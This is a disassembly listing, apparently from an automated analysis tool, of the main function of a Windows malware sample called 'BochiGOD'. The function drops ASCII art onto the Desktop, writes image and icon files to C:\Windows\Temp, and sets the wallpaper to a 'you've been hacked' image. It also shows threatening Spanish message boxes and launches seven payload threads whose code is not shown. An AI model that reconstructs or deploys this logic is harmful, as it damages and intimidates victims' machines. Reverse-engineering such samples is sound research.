Function at 0x140012600
Capabilities:
Get session user name
Query environment variable
Write file on windows

Disassembly:
push r13
mov eax, 0x7e1b8
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000c080
lea rsi, str._.:____________::________________________________________n::__________________________________________n.:_______::_______________________________________n_:_________::_______________________......___________n_:____________________________.:_:......._...___________n_:_______:____________________..............:_......__________n:________::____________________...........:_........__________n.:___________________________......:_:.........._____________n_:____________________________.............________________n::_____________________:..:____..::___::.................:__________________n:__::_________________.......____...........................__________________n___::________________......:_..::..........._:.............:_______________n:___________________......._...:................._____________n_____________:...:......._........._...........___________n_____________..........__......_______............__________n____________:.......:_.......________.............__________n_______________:..___:.....:________:............_______n____::__________________:........_______:.........:_______________n_::__:.______________:...........____:.........:__::::::::::__________::::_n::__:_______________...........:_:::.......:__::___:::::::::__________________n::::________________.......................___::::::____:_:::__________________n_::::______________:...................:____________________________________n___________________................_____________________________________n_______________________..............:_____________________________________n_______________________...........:_______________________________________n__________________:::::::___________________________________________n
sub rsp, rax
call fcn.14000b190
lea rcx, str.USERPROFILE
lea r12, [rsp + 0x235]
call sub.msvcrt.dll_getenv
lea rdx, str._sDesktopBochi_real.txt
mov rcx, r12
lea rdi, [rsp + 0x429]
mov r8, rax
mov r13, rax
call fcn.1400125d0
mov ecx, 0x8f1
lea rdx, [0x1400890fa]
rep movsb byte [rdi], byte [rsi]
mov rcx, r12
call sub.msvcrt.dll_fopen
test rax, rax
je 0x140012a17
mov r12, rax
lea rdx, [rsp + 0x429]
mov rcx, rax
call fcn.140012550
mov rcx, r12
lea rdi, [rsp + 0xd1a]
lea rsi, [0x14009b9b6]
call sub.msvcrt.dll_fclose
mov ecx, 0x8b9a
lea rdx, [0x1400890fa]
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x14009ae5c]
call sub.msvcrt.dll_fopen
mov r12, rax
test rax, rax
jne 0x1400126c9
lea rcx, str.Error_al_crear
call fcn.140012580
lea rsi, [rsp + 0xd1a]
lea rbx, [rsp + 0x98b4]
mov rcx, rsi
mov r9, r12
mov edx, 1
inc rsi
mov r8d, 1
call sub.msvcrt.dll_fwrite
cmp rsi, rbx
jne 0x1400126d9
mov rcx, r12
lea rdi, [rsp + 0x3c172]
lea rsi, [0x140013020]
call sub.msvcrt.dll_fclose
xor edx, edx
mov r9d, 1
lea r8, str.C:WindowsTempBochi_te_hackeo.jpg
mov ecx, 0x14
lea rbp, [rsp + 0x3c172]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
mov ecx, 0x4203e
lea rdx, [0x1400890fa]
rep movsb byte [rdi], byte [rsi]
lea rcx, str.C:WindowsTempIcono_bochi.ico
call sub.msvcrt.dll_fopen
test rax, rax
mov r12, rax
je 0x140012a17
mov rsi, rbp
lea rdi, [rsp + 0x7e1b0]
mov rcx, rsi
mov r9, r12
mov edx, 1
inc rsi
mov r8d, 1
call sub.msvcrt.dll_fwrite
cmp rsi, rdi
jne 0x140012761
mov rcx, r12
lea rsi, [0x140055060]
mov rdi, rbx
call sub.msvcrt.dll_fclose
mov ecx, 0x328be
lea rdx, [0x1400890fa]
rep movsb byte [rdi], byte [rsi]
lea rcx, str.C:WindowsTempIcono_bochi_desktop.ico
call sub.msvcrt.dll_fopen
mov r12, rax
test rax, rax
je 0x140012a17
mov rcx, rbx
mov r9, r12
mov edx, 1
inc rbx
mov r8d, 1
call sub.msvcrt.dll_fwrite
cmp rbp, rbx
jne 0x1400127b7
mov rcx, r12
lea r12, [rsp + 0x134]
lea rdi, [rsp + 0x8c]
call sub.msvcrt.dll_fclose
lea rdx, [rsp + 0x2c]
mov rcx, r12
mov dword [rsp + 0x2c], 0x101
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea r10, [rsp + 0x6c]
mov ecx, 0x2a
movabs rax, 0x6f6e207574206553
movabs rdx, 0x3a7365206572626d
mov qword [rsp + 0x6c], rax
xor eax, eax
rep stosd dword [rdi], eax
mov rcx, r10
mov qword [rsp + 0x74], rdx
mov rdx, r12
mov qword [rsp + 0x7c], 0x20
mov qword [rsp + 0x84], 0
call sub.msvcrt.dll_strcat
mov rbx, qword [sym.imp.USER32.dll_MessageBoxA]
mov r9d, 0x10
xor ecx, ecx
lea r8, str.BochiGOD
mov rdx, rax
call rbx
mov r9d, 0x10
lea r8, str.BochiGOD
xor ecx, ecx
lea rdx, str.Como_vez_bro_estas_jodido_ejecutar_esto_fue_lo_peor_que_pudistes_hacer
call rbx
mov r9d, 0x10
lea r8, str.BochiGOD
xor ecx, ecx
lea rdx, str.Ya_no_hay_vuelta_atras
call rbx
mov rcx, r13
call fcn.140012360
xor r9d, r9d
xor edx, edx
lea rcx, [rsp + 0x30]
lea r8, [0x140012020]
call fcn.140006bf0
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_el_hilo_1
test eax, eax
jne 0x140012a13
xor r9d, r9d
lea r8, [0x140012090]
xor edx, edx
lea rcx, [rsp + 0x38]
call fcn.140006bf0
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_el_hilo_2
test eax, eax
jne 0x140012a13
xor r9d, r9d
lea r8, [0x140012270]
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.140006bf0
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_el_hilo_3
test eax, eax
jne 0x140012a13
lea r12, [rsp + 0x48]
xor r9d, r9d
xor edx, edx
lea r8, [0x140011e00]
mov rcx, r12
call fcn.140006bf0
test eax, eax
je 0x14001296e
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_el_hilo_4
jmp 0x140012a13
xor r9d, r9d
xor edx, edx
lea r8, [0x140011e00]
mov rcx, r12
call fcn.140006bf0
test eax, eax
jne 0x140012955
xor r9d, r9d
lea r8, [0x140011ea0]
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140006bf0
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_el_hilo_5
test eax, eax
jne 0x140012a13
xor r9d, r9d
lea r8, [0x140011f70]
xor edx, edx
lea rcx, [rsp + 0x58]
call fcn.140006bf0
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_el_hilo_6
test eax, eax
jne 0x140012a13
lea rcx, [rsp + 0x60]
xor r9d, r9d
lea r8, [0x1400121f0]
xor edx, edx
call fcn.140006bf0
mov r12d, eax
test eax, eax
je 0x140012a1f
mov r9d, 0x10
lea r8, str.BochiGOD
lea rdx, str.No_se_que_ah_pasado_pero_hubo_un_error_en_crear_el_hilo_7
xor ecx, ecx
call rbx
mov r12d, 1
jmp 0x140012a73
mov rcx, qword [rsp + 0x30]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x38]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x40]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x48]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x50]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x58]
xor edx, edx
call fcn.140006eb0
mov rcx, qword [rsp + 0x60]
xor edx, edx
call fcn.140006eb0
add rsp, 0x7e1b8
mov eax, r12d
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret